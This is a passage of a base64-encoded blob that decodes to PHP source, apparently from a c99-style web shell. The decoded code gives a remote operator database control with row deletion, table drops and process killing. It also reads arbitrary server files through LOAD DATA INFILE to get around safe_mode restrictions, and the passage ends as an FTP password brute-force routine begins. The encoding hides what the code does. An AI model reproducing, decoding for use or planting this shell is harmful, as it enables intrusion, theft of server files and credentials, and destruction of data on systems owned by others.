yZGVyPTE+IjsKICAgICAgZWNobyAiPHRyPiI7CiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7CiAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspCiAgICAgIHsKICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKICAgICAgIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgICAgICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQogICAgICAgZWNobyAiPHRkPiI7CiAgICAgICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogICAgICAgaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+PGI+Ii4kdi4iPC9iPjwvYT4iO30KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgIH0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgZWNobyAiPHRyPiI7CiAgICAgICAkdyA9ICIiOwogICAgICAgJGkgPSAwOwogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30KICAgICAgIGlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KQogICAgICAgewogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7CiAgICAgICAgaWYgKCR2ID09ICIiKSB7JHYgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk5VTEw8L2ZvbnQ+Ijt9CiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsKICAgICAgICAkaSsrOwogICAgICAgfQogICAgICAgZWNobyAiPHRkPiI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2luc2VydF9xPSIudXJsZW5jb2RlKCR3KS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOwogICAgICAgZWNobyAiPC90ZD4iOwogICAgICAgZWNobyAiPC90cj4iOwogICAgICB9CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJsZWZ0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKICAgICB9CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICAgIGVsc2UKICAgICB7CiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICAgJGkgPSAwOwogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOwogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7CiAgICAgICBlY2hvICI8dHI+IjsKICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2VtcHR5XCIgYWx0PVwiRW1wdHlcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRHJvcFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD0iLiRyb3dbIk5hbWUiXS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOwogICAgICAgZWNobyAiPC90cj4iOwogICAgICAgJGkrKzsKICAgICAgfQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiYjMTg3OzwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UKICB7CiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jMDAwMDAwIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzAwMDAwMCBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQogICAgewogICAgIGlmICghZW1wdHkoJGtpbGwpKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4ka2lsbC4iLi4uIG9rLiBoZSBpcyBkZWFkLCBhbWVuLjwvYj4iO30KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jMDAwMDAwIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikKICAgIHsKICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWYgKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAvL2NvbW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UKICAgIH0KICAgfQogIH0KIH0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiBpZiAoJHNxbF9zb2NrKQogewogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7CiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7CiB9CiBlY2hvICI8L3RhYmxlPiI7Cn0KaWYgKCRhY3QgPT0gIm1rZGlyIikKewogaWYgKCRta2RpciAhPSAkZCkKIHsKICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWNobyAiPGJyPjxicj4iOwogfQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOwp9CmlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikKewogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsKIGlmICghd2luKSB7ZWNobyAiVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQogZWxzZQogewogIGZ1bmN0aW9uIGsxcjRmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKQogIHsKICAgaWYgKCRmcWJfb25seXdpdGhzaCkgeyRUUlVFID0gKCFpbl9hcnJheSgkc2gsYXJyYXkoIi9iaW4vRkFMU0UiLCIvc2Jpbi9ub2xvZ2luIikpKTt9CiAgIGVsc2UgeyRUUlVFID0gVFJVRTt9CiAgIGlmICgkVFJVRSkKICAgewogICAgJHNvY2sgPSBAZnRwX2Nvbm5lY3QoJGhvc3Qs